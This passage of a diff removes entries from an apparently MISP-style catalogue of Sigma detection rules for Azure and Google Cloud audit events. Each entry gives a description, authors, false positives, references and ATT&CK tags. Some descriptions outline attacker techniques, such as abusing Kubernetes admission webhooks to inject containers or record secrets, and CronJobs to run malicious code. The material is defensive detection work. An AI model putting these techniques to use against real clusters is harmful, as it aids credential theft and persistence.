"https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "83c17918-746e-4bd9-920b-8e098bf88c23", - "value": "Azure Network Firewall Policy Modified or Deleted" - }, - { - "description": "Identifies when a Firewall Rule Configuration is Modified or Deleted.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/08", - "falsepositive": [ - "Firewall Rule Configuration being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Firewall Rule Configuration modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_network_firewall_rule_modified_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_firewall_rule_modified_or_deleted.yml", - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "2a7d64cf-81fa-4daf-ab1b-ab80b789c067", - "value": "Azure Firewall Rule Configuration Modified or Deleted" - }, - { - "description": "Identifies when a Point-to-site VPN is Modified or Deleted.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/08", - "falsepositive": [ - "Point-to-site VPN being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Point-to-site VPN modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_network_p2s_vpn_modified_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_p2s_vpn_modified_or_deleted.yml", - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "d9557b75-267b-4b43-922f-a775e2d1f792", - "value": "Azure Point-to-site VPN Modified or Deleted" - }, - { - "description": "Identifies when a network security configuration is modified or deleted.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/08", - "falsepositive": [ - "Network Security Configuration being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Network Security Configuration modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_network_security_modified_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_security_modified_or_deleted.yml", - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "d22b4df4-5a67-4859-a578-8c9a0b5af9df", - "value": "Azure Network Security Configuration Modified or Deleted" - }, - { - "description": "Identifies when a virtual network device is being modified or deleted.\nThis can be a network interface, network virtual appliance, virtual hub, or virtual router.\n", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/08", - "falsepositive": [ - "Virtual Network Device being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Virtual Network Device modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_network_virtual_device_modified_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_virtual_device_modified_or_deleted.yml", - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "15ef3fac-f0f0-4dc4-ada0-660aa72980b3", - "value": "Azure Virtual Network Device Modified or Deleted" - }, - { - "description": "Identifies when a new cloudshell is created inside of Azure portal.", - "meta": { - "author": "Austin Songer", - "creation_date": "2021/09/21", - "falsepositive": [ - "A new cloudshell may be created by a system administrator." - ], - "filename": "azure_new_cloudshell_created.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_new_cloudshell_created.yml", - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "72af37e2-ec32-47dc-992b-bc288a2708cb", - "value": "Azure New CloudShell Created" - }, - { - "description": "Identifies when a owner is was removed from a application or service principal in Azure.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/03", - "falsepositive": [ - "Owner being removed may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Owner removed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_owner_removed_from_application_or_service_principal.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_owner_removed_from_application_or_service_principal.yml", - "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "636e30d5-3736-42ea-96b1-e6e2f8429fd6", - "value": "Azure Owner Removed From Application or Service Principal" - }, - { - "description": "Detects when a PIM elevation is approved or denied. Outside of normal operations should be investigated.", - "meta": { - "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", - "creation_date": "2022/08/09", - "falsepositive": [ - "Actual admin using PIM." - ], - "filename": "azure_pim_activation_approve_deny.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_pim_activation_approve_deny.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1078" - ] - }, - "uuid": "039a7469-0296-4450-84c0-f6966b16dc6d", - "value": "PIM Approvals And Deny Elevation" - }, - { - "description": "Detects when PIM alerts are set to disabled.", - "meta": { - "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", - "creation_date": "2022/08/09", - "falsepositive": [ - "Administrator disabling PIM alerts as an active choice." - ], - "filename": "azure_pim_alerts_disabled.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_pim_alerts_disabled.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1484" - ] - }, - "uuid": "aeaef14c-e5bf-4690-a9c8-835caad458bd", - "value": "PIM Alert Setting Changes To Disabled" - }, - { - "description": "Detects when changes are made to PIM roles", - "meta": { - "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", - "creation_date": "2022/08/09", - "falsepositive": [ - "Legit administrative PIM setting configuration changes" - ], - "filename": "azure_pim_change_settings.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_pim_change_settings.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.t1078" - ] - }, - "uuid": "db6c06c4-bf3b-421c-aa88-15672b88c743", - "value": "Changes To PIM Settings" - }, - { - "description": "Detects when a user is added to a privileged role.", - "meta": { - "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", - "creation_date": "2022/08/06", - "falsepositive": [ - "Legtimate administrator actions of adding members from a role" - ], - "filename": "azure_priviledged_role_assignment_add.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_priviledged_role_assignment_add.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1098" - ] - }, - "uuid": "49a268a4-72f4-4e38-8a7b-885be690c5b5", - "value": "User Added To Privilege Role" - }, - { - "description": "Detects when a user is removed from a privileged role. Bulk changes should be investigated.", - "meta": { - "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", - "creation_date": "2022/08/05", - "falsepositive": [ - "Legtimate administrator actions of removing members from a role" - ], - "filename": "azure_priviledged_role_assignment_bulk_change.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-identity-management#azure-ad-roles-assignment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_priviledged_role_assignment_bulk_change.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1098" - ] - }, - "uuid": "102e11e3-2db5-4c9e-bc26-357d42585d21", - "value": "Bulk Deletion Changes To Privileged Account Permissions" - }, - { - "description": "Detects when a new admin is created.", - "meta": { - "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H', Tim Shelton", - "creation_date": "2022/08/11", - "falsepositive": [ - "A legitimate new admin account being created" - ], - "filename": "azure_privileged_account_creation.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_privileged_account_creation.yml", - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#changes-to-privileged-accounts" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1078" - ] - }, - "uuid": "f7b5b004-dece-46e4-a4a5-f6fd0e1c6947", - "value": "Privileged Account Creation" - }, - { - "description": "Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.", - "meta": { - "author": "sawwinnnaung", - "creation_date": "2020/05/07", - "falsepositive": [ - "Valid change" - ], - "filename": "azure_rare_operations.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_rare_operations.yml", - "https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/RareOperations.yaml" - ], - "tags": [ - "attack.t1003" - ] - }, - "uuid": "c1182e02-49a3-481c-b3de-0fadc4091488", - "value": "Rare Subscription-level Operations In Azure" - }, - { - "description": "Identifies when a service principal is created in Azure.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/02", - "falsepositive": [ - "Service principal being created may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Service principal created from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_service_principal_created.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_service_principal_created.yml", - "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "0ddcff6d-d262-40b0-804b-80eb592de8e3", - "value": "Azure Service Principal Created" - }, - { - "description": "Identifies when a service principal was removed in Azure.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/03", - "falsepositive": [ - "Service principal being removed may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Service principal removed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_service_principal_removed.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_service_principal_removed.yml" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "448fd1ea-2116-4c62-9cde-a92d120e0f08", - "value": "Azure Service Principal Removed" - }, - { - "description": "Detects when a user has been elevated to manage all Azure Subscriptions.\nThis change should be investigated immediately if it isn't planned.\nThis setting could allow an attacker access to Azure subscriptions in your environment.\n", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/11/26", - "falsepositive": [ - "If this was approved by System Administrator." - ], - "filename": "azure_subscription_permissions_elevation_via_activitylogs.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_subscription_permissions_elevation_via_activitylogs.yml", - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftauthorization" - ], - "tags": [ - "attack.initial_access", - "attack.t1078" - ] - }, - "uuid": "09438caa-07b1-4870-8405-1dbafe3dad95", - "value": "Azure Subscription Permission Elevation Via ActivityLogs" - }, - { - "description": "Detects when a user has been elevated to manage all Azure Subscriptions.\nThis change should be investigated immediately if it isn't planned.\nThis setting could allow an attacker access to Azure subscriptions in your environment.\n", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/11/26", - "falsepositive": [ - "If this was approved by System Administrator." - ], - "filename": "azure_subscription_permissions_elevation_via_auditlogs.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#assignment-and-elevation", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_subscription_permissions_elevation_via_auditlogs.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1078" - ] - }, - "uuid": "ca9bf243-465e-494a-9e54-bf9fc239057d", - "value": "Azure Subscription Permission Elevation Via AuditLogs" - }, - { - "description": "Identifies when a suppression rule is created in Azure. Adversary's could attempt this to evade detection.", - "meta": { - "author": "Austin Songer", - "creation_date": "2021/08/16", - "falsepositive": [ - "Suppression Rule being created may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Suppression Rule created from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_suppression_rule_created.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_suppression_rule_created.yml", - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "92cc3e5d-eb57-419d-8c16-5c63f325a401", - "value": "Azure Suppression Rule Created" - }, - { - "description": "Detects when a temporary access pass (TAP) is added to an account. TAPs added to priv accounts should be investigated", - "meta": { - "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", - "creation_date": "2022/08/10", - "falsepositive": [ - "Administrator adding a legitmate temporary access pass" - ], - "filename": "azure_tap_added.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_tap_added.yml", - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#changes-to-privileged-accounts" - ], - "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.t1078" - ] - }, - "uuid": "fa84aaf5-8142-43cd-9ec2-78cfebf878ce", - "value": "Temporary Access Pass Added To An Account" - }, - { - "description": "Detects when there is a interruption in the authentication process.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/11/26", - "falsepositive": [ - "Unknown" - ], - "filename": "azure_unusual_authentication_interruption.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_unusual_authentication_interruption.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1078" - ] - }, - "uuid": "8366030e-7216-476b-9927-271d79f13cf3", - "value": "Azure Unusual Authentication Interruption" - }, - { - "description": "Detect when users in your Azure AD tenant are authenticating to other Azure AD Tenants.", - "meta": { - "author": "MikeDuddington, '@dudders1'", - "creation_date": "2022/06/30", - "falsepositive": [ - "If this was approved by System Administrator." - ], - "filename": "azure_users_authenticating_to_other_azure_ad_tenants.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-external-user-sign-ins", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_users_authenticating_to_other_azure_ad_tenants.yml" - ], - "tags": [ - "attack.t1078" - ] - }, - "uuid": "5f521e4b-0105-4b72-845b-2198a54487b9", - "value": "Users Authenticating To Other Azure AD Tenants" - }, - { - "description": "Detect access has been blocked by Conditional Access policies.\nThe access policy does not allow token issuance which might be sights≈ of unauthorizeed login to valid accounts.\n", - "meta": { - "author": "AlertIQ", - "creation_date": "2021/10/10", - "falsepositive": [ - "Unknown" - ], - "filename": "azure_user_login_blocked_by_conditional_access.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_user_login_blocked_by_conditional_access.yml", - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts" - ], - "tags": [ - "attack.credential_access", - "attack.t1110" - ] - }, - "uuid": "9a60e676-26ac-44c3-814b-0c2a8b977adf", - "value": "User Access Blocked by Azure Conditional Access" - }, - { - "description": "Detect when a user has reset their password in Azure AD", - "meta": { - "author": "YochanaHenderson, '@Yochana-H'", - "creation_date": "2022/08/03", - "falsepositive": [ - "If this was approved by System Administrator or confirmed user action." - ], - "filename": "azure_user_password_change.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_user_password_change.yml" - ], - "tags": [ - "attack.t1078" - ] - }, - "uuid": "340ee172-4b67-4fb4-832f-f961bdc1f3aa", - "value": "Password Reset By User Account" - }, - { - "description": "Identifies when a Virtual Network is modified or deleted in Azure.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/08", - "falsepositive": [ - "Virtual Network being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Virtual Network modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_virtual_network_modified_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_virtual_network_modified_or_deleted.yml", - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "bcfcc962-0e4a-4fd9-84bb-a833e672df3f", - "value": "Azure Virtual Network Modified or Deleted" - }, - { - "description": "Identifies when a VPN connection is modified or deleted.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/08", - "falsepositive": [ - "VPN Connection being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "VPN Connection modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_vpn_connection_modified_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_vpn_connection_modified_or_deleted.yml", - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "61171ffc-d79c-4ae5-8e10-9323dba19cd3", - "value": "Azure VPN Connection Modified or Deleted" - }, - { - "description": "Detects when storage bucket is enumerated in Google Cloud.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/14", - "falsepositive": [ - "Storage Buckets being enumerated may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Storage Buckets enumerated from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "gcp_bucket_enumeration.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "gcp", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_bucket_enumeration.yml", - "https://cloud.google.com/storage/docs/json_api/v1/buckets" - ], - "tags": [ - "attack.discovery" - ] - }, - "uuid": "e2feb918-4e77-4608-9697-990a1aaf74c3", - "value": "Google Cloud Storage Buckets Enumeration" - }, - { - "description": "Detects when storage bucket is modified or deleted in Google Cloud.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/14", - "falsepositive": [ - "Storage Buckets being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Storage Buckets modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "gcp_bucket_modified_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "gcp", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_bucket_modified_or_deleted.yml", - "https://cloud.google.com/storage/docs/json_api/v1/buckets" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "4d9f2ee2-c903-48ab-b9c1-8c0f474913d0", - "value": "Google Cloud Storage Buckets Modified or Deleted" - }, - { - "description": "Identifies when sensitive information is re-identified in google Cloud.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/15", - "falsepositive": [ - "Unknown" - ], - "filename": "gcp_dlp_re_identifies_sensitive_information.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "gcp", - "refs": [ - "https://cloud.google.com/dlp/docs/reference/rest/v2/projects.content/reidentify", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_dlp_re_identifies_sensitive_information.yml" - ], - "tags": [ - "attack.impact", - "attack.t1565" - ] - }, - "uuid": "234f9f48-904b-4736-a34c-55d23919e4b7", - "value": "Google Cloud Re-identifies Sensitive Information" - }, - { - "description": "Identifies when a DNS Zone is modified or deleted in Google Cloud.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/15", - "falsepositive": [ - "Unknown" - ], - "filename": "gcp_dns_zone_modified_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "gcp", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_dns_zone_modified_or_deleted.yml", - "https://cloud.google.com/dns/docs/reference/v1/managedZones" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "28268a8f-191f-4c17-85b2-f5aa4fa829c3", - "value": "Google Cloud DNS Zone Modified or Deleted" - }, - { - "description": "Detects when a firewall rule is modified or deleted in Google Cloud Platform (GCP).", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/13", - "falsepositive": [ - "Firewall rules being modified or deleted may be performed by a system administrator. Verify that the firewall configuration change was expected.", - "Exceptions can be added to this rule to filter expected behavior." - ], - "filename": "gcp_firewall_rule_modified_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "gcp", - "refs": [ - "https://developers.google.com/resources/api-libraries/documentation/compute/v1/java/latest/com/google/api/services/compute/Compute.Firewalls.html", - "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_firewall_rule_modified_or_deleted.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562" - ] - }, - "uuid": "fe513c69-734c-4d4a-8548-ac5f609be82b", - "value": "Google Cloud Firewall Modified or Deleted" - }, - { - "description": "Identifies potential full network packet capture in gcp. This feature can potentially be abused to read sensitive data from unencrypted internal traffic.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/13", - "falsepositive": [ - "Full Network Packet Capture may be done by a system or network administrator.", - "If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "gcp_full_network_traffic_packet_capture.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "gcp", - "refs": [ - "https://developers.google.com/resources/api-libraries/documentation/compute/v1/java/latest/com/google/api/services/compute/Compute.PacketMirrorings.html", - "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_full_network_traffic_packet_capture.yml" - ], - "tags": [ - "attack.collection", - "attack.t1074" - ] - }, - "uuid": "980a7598-1e7f-4962-9372-2d754c930d0e", - "value": "Google Full Network Traffic Packet Capture" - }, - { - "description": "Identifies when an admission controller is executed in GCP Kubernetes.\nA Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server.\nThe behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster.\nAn adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster.\nFor example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials.\nAn adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.\n", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/11/25", - "falsepositive": [ - "Google Cloud Kubernetes Admission Controller may be done by a system administrator.", - "If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "gcp_kubernetes_admission_controller.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "gcp", - "refs": [ - "https://cloud.google.com/kubernetes-engine/docs", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_kubernetes_admission_controller.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1078", - "attack.credential_access", - "attack.t1552", - "attack.t1552.007" - ] - }, - "uuid": "6ad91e31-53df-4826-bd27-0166171c8040", - "value": "Google Cloud Kubernetes Admission Controller" - }, - { - "description": "Identifies when a Google Cloud Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate.\nKubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs.\nAn Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.\n", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/11/22", - "falsepositive": [ - "Google Cloud Kubernetes CronJob/Job may be done by a system administrator.", - "If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "gcp_kubernetes_cronjob.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "gcp", - "refs": [ - "https://cloud.google.com/kubernetes-engine/docs", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_kubernetes_cronjob.yml", - "https://kubernetes.io/docs/concepts/workloads/controllers/job/", - "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.execution" - ] - }, - "uuid": "cd3a808c-c7b7-4c50-a2f3-f4cfcd436435", - "value": "Google Cloud Kubernetes CronJob" - }, - { - "description": "Detects the creation or patching of potential malicious RoleBinding. This includes RoleBindings and ClusterRoleBinding.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/09", - "falsepositive": [ - "RoleBindings and ClusterRoleBinding being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "RoleBindings and ClusterRoleBinding modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "gcp_kubernetes_rolebinding.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "gcp", - "refs": [ - "https://github.com/elastic/detection-rules/pull/1267", - "https://kubernetes.io/docs/reference/kubernetes-api/authorization-resources/cluster-role-v1/#ClusterRole", - "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", - "https://kubernetes.io/docs/reference/access-authn-authz/rbac/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/gcp/gcp_kubernetes_rolebinding.yml", - "https://cloud.google.com/kubernetes-engine/docs/how-to/role-based-access-control" - ], - "tags": [ - "attack.credential_access" - ] - }, - "uuid": "0322d9f2-289a-47c2-b5e1-b63c90901a3e", - "value": "Google Cloud Kubernetes RoleBinding" - }, - { - "description": "Identifies when the Secrets are Modified or Deleted.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/09", - "falsepositive": [ - "Secrets being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Secrets modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "gcp_kubernetes_secrets_modified_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "gcp", - "refs": [ - "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", - 